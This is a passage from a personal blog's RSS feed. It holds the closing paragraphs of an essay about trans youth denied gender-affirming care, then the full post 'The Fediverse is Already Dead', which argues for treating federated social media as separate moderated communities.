it&amp;rsquo;s okay to be gay, and it&amp;rsquo;s okay to&#xA;need to figure it out.&lt;/p&gt;&#xA;&lt;p&gt;We fight the horror with education, and legislation, and by tearing down the&#xA;transphobic edifice of a society that expects everyone to have a binary, immutable gender.&lt;/p&gt;&#xA;&lt;p&gt;When people talk about reducing access to transition for children, this is what&#xA;they are inflicting.&#xA;A small fraction of patients may go through something similar &lt;em&gt;because&lt;/em&gt; of&#xA;opting into gender affirming care that isn&amp;rsquo;t right for them, but those people&#xA;can end the horror at any time - they can simply stop taking hormones and be&#xA;better off than I was.&lt;/p&gt;&#xA;&lt;p&gt;100% of trans people who seek access to gender affirming care as children and&#xA;are denied go through the horror. 100% of trans children who never know that&#xA;gender affirming care exists go through the horror. And for what?&lt;/p&gt;&#xA;&lt;p&gt;When you vote for bills that reduce access to puberty blockers, you are&#xA;condemning another generation of trans kids to live in the horror for their&#xA;entire adolescence. When you vote to ban books about transgender people from&#xA;school libraries, you are spreading the horror. When you go on the Internet and&#xA;talk about how you&amp;rsquo;re not transphobic, you&amp;rsquo;re just worried about detransitioners&#xA;and the &amp;ldquo;transgender trend&amp;rdquo;, you&amp;rsquo;re spreading the horror.&#xA;When you advocate for &amp;ldquo;correcting&amp;rdquo; the genitals or hormones of intersex&#xA;children without their consent, you&amp;rsquo;re spreading the horror.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s your responsibility to fight the horror. The horror is my enemy, and it&#xA;should be yours.&lt;/p&gt;&#xA;&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;&#xA;&lt;hr&gt;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&#xA;&lt;p&gt;I had the great privelage to meet and protest with the wonderful&#xA;intersex activist Pidgeon Pagonis in 2018, and highly recommend their work.&#xA;If you&amp;rsquo;re interested in the topic of&#xA;intersex children&amp;rsquo;s rights, I suggest starting with &lt;a href=&#34;https://www.cnn.com/2020/07/29/health/intersex-surgeries-chicago-hospital/index.html&#34;&gt;this&#xA;article&lt;/a&gt;&#xA;and &lt;a href=&#34;https://www.britishcouncil.org/voices-magazine/non-binary-biology-gender-film-intersex-activist-pidgeon-pagonis&#34;&gt;this&#xA;interview&lt;/a&gt;&#xA;regarding their activism.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/div&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>The Fediverse is Already Dead</title>
      <link>https://nora.codes/post/the-fediverse-is-already-dead/</link>
      <pubDate>Thu, 23 Feb 2023 21:21:52 -0600</pubDate>
      <guid>https://nora.codes/post/the-fediverse-is-already-dead/</guid>
      <description>&lt;p&gt;The Fediverse is not dying, nor is it crumbling. As an ideoform in the collective consciousness of the &amp;rsquo;net, the Fediverse is already dead.&lt;/p&gt;&#xA;&lt;h1 id=&#34;what-was-the-fediverse&#34;&gt;What was the Fediverse?&lt;/h1&gt;&#xA;&lt;p&gt;Stripped of technical terminology, the Fediverse (&amp;ldquo;federated universe&amp;rdquo;) refers to a bunch of web services which let people share text, images, video and audio with each other without a centralized authority.&lt;/p&gt;&#xA;&lt;h2 id=&#34;isnt-that-mastodon&#34;&gt;Isn&amp;rsquo;t That Mastodon?&lt;/h2&gt;&#xA;&lt;p&gt;You might be used to hearing about &amp;ldquo;Mastodon&amp;rdquo; rather than the Fediverse. Mastodon-the-corporation has done a lot of advertising and promotion, and there&amp;rsquo;s a good deal of documentation out there on how to start a Mastodon server - but Mastodon isn&amp;rsquo;t all there is to the Fediverse.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;The Fediverse is not dying, nor is it crumbling. As an ideoform in the collective consciousness of the &amp;rsquo;net, the Fediverse is already dead.&lt;/p&gt;&#xA;&lt;h1 id=&#34;what-was-the-fediverse&#34;&gt;What was the Fediverse?&lt;/h1&gt;&#xA;&lt;p&gt;Stripped of technical terminology, the Fediverse (&amp;ldquo;federated universe&amp;rdquo;) refers to a bunch of web services which let people share text, images, video and audio with each other without a centralized authority.&lt;/p&gt;&#xA;&lt;h2 id=&#34;isnt-that-mastodon&#34;&gt;Isn&amp;rsquo;t That Mastodon?&lt;/h2&gt;&#xA;&lt;p&gt;You might be used to hearing about &amp;ldquo;Mastodon&amp;rdquo; rather than the Fediverse. Mastodon-the-corporation has done a lot of advertising and promotion, and there&amp;rsquo;s a good deal of documentation out there on how to start a Mastodon server - but Mastodon isn&amp;rsquo;t all there is to the Fediverse.&lt;/p&gt;&#xA;&lt;p&gt;The Fediverse originally consisted of computers running a piece of software called StatusNet, which eventually became GNUSocial. &lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; Each server allowed people to post and read messages, which were distributed through a social graph much like that of Twitter or Tumblr. Unlike Twitter or Tumblr, but like e-mail or IRC, those posts were distributed through a &amp;ldquo;federation protocol&amp;rdquo; that let users on different servers converse. This network existed as early as 2010, and went through several protocol migrations over time, eventually landing on something called OStatus.&lt;/p&gt;&#xA;&lt;p&gt;More recently, a German software engineer named Eugen Rochko released software called Mastodon in 2016 &lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;, which implemented OStatus and allowed its users to talk to each other, and to users of GNUSocial. This software had a better user experience for many people than GNUSocial, and wasn&amp;rsquo;t tainted by association with free software extremism, and as a result began to catch on.&lt;/p&gt;&#xA;&lt;p&gt;Others have documented the sordid tale of Mastodon&amp;rsquo;s development better than I could, but suffice it to say that many queer people, people of color, and women have been cast aside by Rochko despite significant and often culturally defining contributions to the software and ecosystem.&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;sup&gt;,&lt;/sup&gt;&lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;The organization built around it, Mastodon gGmbH, remains a sigificant cultural force in the distributed social media landscape due to its large budget and market share, using its tens of thousands per month to pay Rochko&amp;rsquo;s salary, hire contractors, and produce marketing material.&lt;/p&gt;&#xA;&lt;p&gt;So much for Mastodon.&lt;/p&gt;&#xA;&lt;h2 id=&#34;diversity-of-design&#34;&gt;Diversity of Design&lt;/h2&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s rewind to 2017. I grew up at the tail end of the Jabber era; my happiest memories of computer-aided socialization involve being signed in to Facebook, Google, and two other XMPP providers from one piece of software at the same time, while chatting about Supernatural. I hated Twitter, missed the culture of content warnings and near-normalization of transness and queer culture I&amp;rsquo;d experienced on Tumblr, and had a severe mental bias toward open protocols, so I jumped on Mastodon &lt;em&gt;hard&lt;/em&gt; - but the dream of the Fediverse was never Mastodon-the-software taking over the social web.&lt;/p&gt;&#xA;&lt;p&gt;The dream was being able to access the same social graph from any piece of software. Ideally, I would be able to use a Tumblr-alike interface to send posts that could be read by people using a Twitter-like one, and look at images posted by people using an Instagram-alike. The dream was a common underlying protocol used across a single unified network that would allow anyone to talk to anyone else using the software they were most comfortable using.&lt;/p&gt;&#xA;&lt;p&gt;Fast forward to 2022 and that was exactly what we had - or, you know, we had the Dollar Tree version. Most of the software out there that wasn&amp;rsquo;t Mastodon was either alpha quality or developed by the worst guy you know. &lt;sup id=&#34;fnref:5&#34;&gt;&lt;a href=&#34;#fn:5&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;5&lt;/a&gt;&lt;/sup&gt; None of it had any innovative moderation features worth talking about, and the Tumblr-alike interface never sprang up, despite my halfhearted attempts to get out-of-band tags into Mastodon-the-software. But we did have the basic gist:&#xA;a big snuggly social fabric where anyone could talk to anyone else.&lt;/p&gt;&#xA;&lt;h2 id=&#34;fediverse-as-ideoform&#34;&gt;Fediverse as Ideoform&lt;/h2&gt;&#xA;&lt;p&gt;That&amp;rsquo;s where the Fediverse is still stuck in the public consciousness. Whether you call it &amp;ldquo;the Fediverse&amp;rdquo; or &amp;ldquo;Mastodon&amp;rdquo;, it&amp;rsquo;s that thing that you see when you log in to mastodon.social, or vulpine.club, or plural.cafe, or witches.live, weirder.earth, or rage.love, or tech.lgbt, or hachyderm.io, or pawoo.net.&lt;/p&gt;&#xA;&lt;p&gt;The Fediverse is the hopes and dreams of naive kids like me, and of Eugen Rochko&amp;rsquo;s unified Twitter clone, and of Gab&amp;rsquo;s &amp;ldquo;freeze peach&amp;rdquo; brigade, and of a thousand server operators and six million active users. The Fediverse is a place, with a culture, and you can learn about it by observing it.&#xA;I don&amp;rsquo;t just mean the phrase &amp;ldquo;the Fediverse&amp;rdquo; - there&amp;rsquo;s nothing wrong with it,&#xA;except than that the thing it signifies isn&amp;rsquo;t meaningful anymore.&lt;/p&gt;&#xA;&lt;p&gt;The Fediverse is a very particular way of thinking about federated social media&#xA;that encompasses technical, social, cultural, and mythical elements - and that is exactly why I think it&amp;rsquo;s dead.&lt;/p&gt;&#xA;&lt;h1 id=&#34;what-killed-the-fediverse&#34;&gt;What Killed the Fediverse?&lt;/h1&gt;&#xA;&lt;p&gt;It turns out that the unified social fabric sucks. There are a lot of people out there that I don&amp;rsquo;t want to talk to, and lots of them don&amp;rsquo;t want to talk to me (though some &lt;em&gt;really&lt;/em&gt; do.) There are people who post things that are illegal in my jurisdiction. There are people who harass people of color incessantly for the crime of daring to talk about their day to day lives, and people who just cannot wait to tell anyone who isn&amp;rsquo;t using their favorite flavor of open source desktop environment that they should die in a fire. &lt;sup id=&#34;fnref:6&#34;&gt;&lt;a href=&#34;#fn:6&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;6&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;communities-as-the-unit-of-moderation&#34;&gt;Communities as the Unit of Moderation&lt;/h2&gt;&#xA;&lt;p&gt;See, because you need an always-on computer in order to really reliably use decentralized social media, people tend to run Mastodon or other such software on computers in datacenters (&amp;ldquo;in the cloud&amp;rdquo;), and then log in from their personal devices, like logging in to check your e-mail. These servers are responsible for collecting messages for people and sending them back and forth - that&amp;rsquo;s &amp;ldquo;federation&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;So, naturally, the people who set these servers up had the ability to define some basic rules and community norms, and as Mastodon-the-software grew moderation features, it became much easier for those server operators to moderate their users&amp;rsquo; experiences (or delegate that responsibility to a few other people.)&lt;/p&gt;&#xA;&lt;p&gt;Mastodon, and soon other software as well, got the ability to exchange reports. If a user on one server had a problem with a user on another, not only could they complain to &lt;em&gt;their&lt;/em&gt; server&amp;rsquo;s administrators, but to the people that provided the offending user access as well. Norms began to form around expectations of behavior, both from users and moderators on other servers, and some servers began to &lt;em&gt;defederate&lt;/em&gt; - that is, stop talking to - others for various reasons.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ll be the first to admit that some of these reasons are, frankly, pretty silly - personal spats between admins, intentional escalations of intra-community arguments, and so forth - but others aren&amp;rsquo;t. After all, if you run an LGBTQ+ focused server, why would you let users on the FRC server talk to yours after the first instance of harassment? It&amp;rsquo;s not going to go well.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I would like to acknowledge the work of Black fedizen &lt;a href=&#34;https://www.artistmarciax.com/&#34;&gt;Marcia X&lt;/a&gt; in starting and stewarding #FediBlock, a hashtag that many admins subscribe to and to which many people post information about potentially problematic instances. It&amp;rsquo;s not a blocklist, but rather a loose standard and set of norms that enables people doing critical community work to coordinate and share information.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So, what was a unified social fabric very quickly became torn, with some servers totally isolating themselves and others simply cutting off contact with a few they found distasteful. Problems started to be obscured, circumscribed, and segregated.&lt;/p&gt;&#xA;&lt;p&gt;What kind of problems, you ask?&lt;/p&gt;&#xA;&lt;h2 id=&#34;right-wing-extremism&#34;&gt;Right Wing Extremism&lt;/h2&gt;&#xA;&lt;p&gt;There are a number of right-wing extremists, up to and including white nationalists and self-proclaimed neo-Nazis, who run Mastodon or Mastodon-compatible servers and communicate over them. I&amp;rsquo;ve never seen most of these servers, because the servers I use block them all and they tend to block us too (a rift I have in the past called the Great Fedi Divide), but they&amp;rsquo;re definitely out there.&lt;/p&gt;&#xA;&lt;p&gt;&amp;ldquo;The Fediverse&amp;rdquo;, as an ideoform, has become tainted by extremism because extremists do use the software and protocols that it comprises.&lt;/p&gt;&#xA;&lt;h2 id=&#34;racism&#34;&gt;Racism&lt;/h2&gt;&#xA;&lt;p&gt;Racism has been a problem in the GNUSocial-descended distributed social graph for a long time, and has been talked about extensively. From the demise of PlayVicious, &lt;sup id=&#34;fnref:7&#34;&gt;&lt;a href=&#34;#fn:7&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;7&lt;/a&gt;&lt;/sup&gt; a Black-run server, to Black users being &amp;ldquo;asked&amp;rdquo; (harassed) about hiding their personal life experiences behind &amp;ldquo;politics&amp;rdquo; CWs, it&amp;rsquo;s undeniable that it&amp;rsquo;s a huge issue in even the non-right-wing communities.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3 id=&#34;a-quick-aside-on-cws&#34;&gt;A Quick Aside on CWs&lt;/h3&gt;&#xA;&lt;p&gt;Top-notch demoscener &lt;a href=&#34;https://suricrasia.online/&#34;&gt;Blackle Mori&lt;/a&gt; implemented so-called &amp;ldquo;content warnings&amp;rdquo; for Mastodon-the-software in 2017. CWs allow the author of a post to hide it behind a &lt;code&gt;&amp;lt;details&amp;gt;&lt;/code&gt; element so the post&amp;rsquo;s text and media don&amp;rsquo;t automatically show up; a single click is required to read the post. It&amp;rsquo;s also possible to set one&amp;rsquo;s Mastodon account to always, automatically expand content warnings.&#xA;It looks kind of like this: &lt;details&gt;&lt;summary&gt;it&amp;rsquo;s been &lt;/summary&gt; ONE WEEK SINCE YOU LOOKED AT ME&lt;/details&gt;&lt;/p&gt;&#xA;&lt;p&gt;People use CWs for media spoilers and for sexual, triggering, or upsetting content, but also for just about everything else including jokes and pranks, inconsistently and idiosyncratically. On other compatible software, it&amp;rsquo;s sometimes just called &amp;ldquo;subject&amp;rdquo;, as in the subject line of an e-mail.&lt;/p&gt;&#xA;&lt;p&gt;I want to be extremely clear that it is my opinion is that the behavior of harassment and the cultural expectation that marginalized people hide their experiences behind &amp;ldquo;politics&amp;rdquo; CWs is the problem, not the use of CWs in the first place.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&amp;ldquo;The Fediverse&amp;rdquo;, as an ideoform, has become tainted by racism because people who use the software and protocols comprising it do racist things, and that software and the social structures surrounding it are bad at defending its users of color, and especially its Black users, against harassment.&lt;/p&gt;&#xA;&lt;h2 id=&#34;instance-drama&#34;&gt;Instance Drama&lt;/h2&gt;&#xA;&lt;p&gt;When users sign up for a fediverse server (also known as an &amp;ldquo;instance&amp;rdquo;, as in, &amp;ldquo;an instance of the Mastodon software&amp;rdquo; or &amp;ldquo;an instance of that dungeon&amp;rdquo;), they sign up for the operators&amp;rsquo; moderation decisions. Sometimes, that means that two users will sign up on two different servers, intending to talk to each other, and at a later time, for reasons inscruitable to them, find themselves unable to do so. This has happened a few times, and it&amp;rsquo;s probably extremely frustrating every time. (It&amp;rsquo;s never happened to me, thankfully.)&lt;/p&gt;&#xA;&lt;p&gt;&amp;ldquo;The Fediverse&amp;rdquo;, as an ideoform, has become tainted by instance drama because users of the software and protocols that comprise it sometimes lose access to parts of their social graph unexpectedly and without much explaination.&lt;/p&gt;&#xA;&lt;h2 id=&#34;misattribution-of-malice&#34;&gt;Misattribution of Malice&lt;/h2&gt;&#xA;&lt;p&gt;The problem is, these issues - and there are many others, believe me - are misattributed in two directions. First, outsiders look at &amp;ldquo;the Fediverse&amp;rdquo;, the holistic social fabric that connects all of its users, and see stories about horrible racism and people losing access to their friends and think that &amp;ldquo;the Fediverse&amp;rdquo; is racist and fragile. Second, insiders look at &amp;ldquo;the Fediverse&amp;rdquo; and see their curated timelines, their intact social connections, their diverse groups of contacts, and their meaningful relationships and think that &amp;ldquo;the Fediverse&amp;rdquo; can&amp;rsquo;t possibly be racist and fragile.&lt;/p&gt;&#xA;&lt;p&gt;In other words, people on the outside attribute malice too broadly to the entire network, while people on the inside attribute malice too narrowly to a few individuals or, at most, a few servers.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve certainly been guilty of the latter. While I&amp;rsquo;m too well aware of the racist harassment people of color face via distributed social media to discount it, I&amp;rsquo;m sure I don&amp;rsquo;t grasp its full extent, and my positive interactions via the exceptionally well-maintained social filters of Weirder Earth definitely skew my perception of &amp;ldquo;the Fediverse&amp;rdquo; towards the positive. Similarly, my Mastodon accounts have been more durable than any other social media I&amp;rsquo;ve had, and my social graph more durable still, so I have to put in some effort to empathise with people who have a worse experience.&lt;/p&gt;&#xA;&lt;p&gt;As a result, conversation about &amp;ldquo;the Fediverse&amp;rdquo; is impossible. We can&amp;rsquo;t meaningfully argue over whether or not &amp;ldquo;the Fediverse&amp;rdquo; (or &amp;ldquo;Mastodon&amp;rdquo;-the-network) is racist; of course it is, of course it isn&amp;rsquo;t only. We can&amp;rsquo;t meaningfully argue over whether or not &amp;ldquo;the Fediverse&amp;rdquo; is fragile; of course it is, of course it isn&amp;rsquo;t only.&lt;/p&gt;&#xA;&lt;p&gt;I think any distributed social media &amp;ldquo;insider&amp;rdquo; who can stand some discussion of child sexual abuse (yeah, sorry) should read &lt;a href=&#34;https://www.secjuice.com/mastodon-child-porn-pedophiles/&#34;&gt;this absolutely awful piece of journalism&lt;/a&gt; entitled &amp;ldquo;A Social Media Platform For Pedophiles&amp;rdquo;, which sums things up perfectly:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;It doesn&amp;rsquo;t matter that you can&amp;rsquo;t see them, as a Mastodon user you are sharing a social media platform with them.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h1 id=&#34;we-killed-the-fediverse&#34;&gt;We Killed the Fediverse&lt;/h1&gt;&#xA;&lt;p&gt;We killed the Fediverse with bad language. Thinking back to my original definition at the top of this article, I hope it&amp;rsquo;s clear that &amp;ldquo;the Fediverse&amp;rdquo; is essentially a useless term:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;the Fediverse refers to a bunch of web services which let people share text, images, video and audio with each other without a centralized authority.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;What&amp;rsquo;s a &amp;ldquo;web service&amp;rdquo;? Is it the software that defines how people can post and how posts move around? Is it the servers running that software that people log into? Is it the communities that surround those servers, the people on them and the policies those people set? Is it the set of connections between those servers?&lt;/p&gt;&#xA;&lt;p&gt;It seems clear to me that simply using the same social media software as someone doesn&amp;rsquo;t make you part of their social network. As an example, some Mastodon instances have a &amp;ldquo;allowlist&amp;rdquo;, meaning they don&amp;rsquo;t talk to any other servers by default. There&amp;rsquo;s very little sense in which those servers are part of my social network, because I can&amp;rsquo;t see or interact with their posts.&lt;/p&gt;&#xA;&lt;p&gt;But what about if my server talks to another server that talks to your server? We can have mutual friends; my posts can make it to your server, and vice versa. Are we part of the same social network? Sure.&lt;/p&gt;&#xA;&lt;p&gt;And what about three links removed? What if our servers &lt;em&gt;could&lt;/em&gt; talk to each other - they don&amp;rsquo;t block each other, and neither one is in allowlist mode - but nobody on mine has ever reached out to anyone on yours, and vice versa? Technically, they have no knowledge of each other, but they could at any moment. Are we both in &amp;ldquo;the Fediverse&amp;rdquo;?&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s a meaningless term, because the social graph is so complicated, it&amp;rsquo;s almost impossible to say whether a given server is &amp;ldquo;part of the Fediverse&amp;rdquo;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;gargron-killed-the-fediverse&#34;&gt;Gargron Killed the Fediverse&lt;/h2&gt;&#xA;&lt;p&gt;Rochko (whose handle is Gargron) didn&amp;rsquo;t help. Branding the first server running Mastodon-the-software &amp;ldquo;Mastodon Dot Social&amp;rdquo; was a terrible idea, and branding Mastodon gGmbH as such and calling himself &amp;ldquo;CEO of Mastodon&amp;rdquo; in Forbes was even worse. That&amp;rsquo;s where we get misconceptions like the article above saying that everyone using Mastodon is using a social network for people who like to look at explicit images of children, even though the vast majority of Mastodon servers outside of jurisdictions where it&amp;rsquo;s legal don&amp;rsquo;t connect to the servers in question.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-press-killed-the-fediverse&#34;&gt;The Press Killed the Fediverse&lt;/h2&gt;&#xA;&lt;p&gt;That journalists don&amp;rsquo;t even try to sort through this mess is understandable, but extremely frustrating, especially when Vice and Forbes coverage is likely the first exposure many people will have to the concept. Even when the press does mention the concept of the Fediverse, they rarely try to define it, because it&amp;rsquo;s a useless, meaningless word.&lt;/p&gt;&#xA;&lt;h1 id=&#34;we-have-to-keep-going&#34;&gt;We Have to Keep Going&lt;/h1&gt;&#xA;&lt;p&gt;So, what do I think we should do? You have no particular reason to listen to me, but here&amp;rsquo;s my advice.&lt;/p&gt;&#xA;&lt;p&gt;&amp;ldquo;The Fediverse&amp;rdquo; needs to end, and I don&amp;rsquo;t think anything should replace it. Speak instead about communities, and prioritize the strength of those communities. Speak about the way those communities interact, and don&amp;rsquo;t; the way they form strands and islands and gulfs. I&amp;rsquo;ve taken to calling this the Social Archipelago.&lt;/p&gt;&#xA;&lt;p&gt;This change is already becoming formalized.&#xA;Some servers, especially those that are often blocked by others, have started&#xA;pacts that aim to establish an island of continued communication by&#xA;applying legalism and formal reviews to problems of interpersonal communication. &lt;sup id=&#34;fnref:8&#34;&gt;&lt;a href=&#34;#fn:8&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;8&lt;/a&gt;&lt;/sup&gt;&#xA;Some server software (such as Akkoma and Calkey) has explicit&#xA;technical support for the idea of a &amp;ldquo;suggested timeline&amp;rdquo; or &amp;ldquo;bubble&amp;rdquo; of&#xA;federated instances - a sort of halfway allowlisting that allows server&#xA;operators to further curate their users&amp;rsquo; experiences. &lt;sup id=&#34;fnref:9&#34;&gt;&lt;a href=&#34;#fn:9&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;9&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;p&gt;For those of us already using distributed social media:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Speak about being Octodon or Universedon or Hachyderm or Weirder Earth users, rather than Fediverse users. Take inspiration from communities like &lt;a href=&#34;https://merveilles.town/&#34;&gt;Merveilles Town&lt;/a&gt; that define a unique and cohesive local culture.&lt;/li&gt;&#xA;&lt;li&gt;Have a relationship, even a superficial one, with your server&amp;rsquo;s operators. Understand their policies, their limits, and their needs. Donate to keep the lights on if you can.&lt;/li&gt;&#xA;&lt;li&gt;Don&amp;rsquo;t pretend that every problem people discuss about &amp;ldquo;the Fediverse&amp;rdquo; only applies to other people and other servers.&lt;/li&gt;&#xA;&lt;li&gt;Take reports of harassment and racism seriously, even if you can&amp;rsquo;t see it from your own vantage point.&#xA;Combat racism within your own social circles and take the time to educate yourself on antiracism.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For current and prospective server operators:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Keep things small. Moderation is key, and community building gets harder the more people you have to include.&lt;/li&gt;&#xA;&lt;li&gt;Accept the Archipelago. Don&amp;rsquo;t try to connect to every server there is; some of&#xA;them definitely contain content you and your users don&amp;rsquo;t want to see, and many&#xA;of them probably don&amp;rsquo;t want your users interacting with theirs. Have a set of&#xA;policies about who you federate with, and stick to them.&lt;/li&gt;&#xA;&lt;li&gt;Have a plan for burnout, technical problems, and interpersonal conflict. Have policies and funds to fall back on.&lt;/li&gt;&#xA;&lt;li&gt;Build governance structures into your operations. Co-ops with tight-knit technical and moderation committies are probably ideal, but even something as simple as a succession document can save everyone a lot of trouble.&lt;/li&gt;&#xA;&lt;li&gt;Ask your users for help! They&amp;rsquo;re part of your community, and their goals likely align strongly with yours.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And finally, for people on the outside:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Please don&amp;rsquo;t judge every island in the Social Archipelago by the bad things that have happened one other servers running the same genre of software.&lt;/li&gt;&#xA;&lt;li&gt;Don&amp;rsquo;t act like harmless aspects of the culture of certain parts of the Social Archipelago - liberal use of CWs, for instance - are axiomatically bad because they come from &amp;ldquo;the Fediverse&amp;rdquo;.&lt;/li&gt;&#xA;&lt;li&gt;If you don&amp;rsquo;t see a space in the Archipelago that looks good to you, consider making one.&#xA;There&amp;rsquo;s some great starting advice at &lt;a href=&#34;https://runyourown.social/&#34;&gt;RunYourOwn.Social&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Give it a chance, or don&amp;rsquo;t. Sign up for a cool looking community with moderators you trust, or don&amp;rsquo;t. It&amp;rsquo;s not corporate social media; it&amp;rsquo;s not going to enclose your social graph in a proprietary shell you have to have an account on to access. That&amp;rsquo;s the whole point.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Ultimately, I&amp;rsquo;m still an idealist. I don&amp;rsquo;t think proprietary, centralized solutions - even cozy bug themed ones - are the answer to social media. I think that medium-sized co-op communities are as good as it gets for now, until we get easy to use, resiliant, secure peer to peer social media. I believe that progress can be made on racism and on stability in the Social Archipelago.&lt;/p&gt;&#xA;&lt;p&gt;I believe in communities, and I believe in us. Let&amp;rsquo;s do it!&lt;/p&gt;&#xA;&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;&#xA;&lt;hr&gt;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://medium.com/we-distribute/a-quick-guide-to-the-free-network-c069309f334&#34;&gt;A Quick Guide to the Free Network&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:2&#34;&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://github.com/mastodon/mastodon/releases/tag/v0.1.0&#34;&gt;Mastodon 0.1.0&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:3&#34;&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://cassolotl.medium.com/i-left-mastodon-yesterday-4c5796b0f548&#34;&gt;I Left Mastodon Yesterday&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:4&#34;&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://medium.com/@alliethehart/gameingers-are-dead-and-so-is-mastodon-705b535ed616&#34;&gt;Mourning Mastodon&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:5&#34;&gt;&#xA;&lt;p&gt;This originally read &amp;ldquo;all the software&amp;rdquo;; this isn&amp;rsquo;t fair. There&#xA;&lt;em&gt;is&lt;/em&gt; some pretty good ActivityPub software out there, like Peertube.&#xA;Also, being alpha quality isn&amp;rsquo;t a bad thing! GoToSocial is alpha, but I use&#xA;it, and it&amp;rsquo;s nice. It just, you know, isn&amp;rsquo;t feature complete and definitely&#xA;isn&amp;rsquo;t something to rely on.&amp;#160;&lt;a href=&#34;#fnref:5&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:6&#34;&gt;&#xA;&lt;p&gt;I use KDE Plasma, by the way.&amp;#160;&lt;a href=&#34;#fnref:6&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:7&#34;&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://roiskinda.cool/2022/11/recuerda-pv-chapter-1-the-start-part-1.html&#34;&gt;Recuerda PV, Pt 1&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:7&#34; class=&#34;footnote-backref&#34; 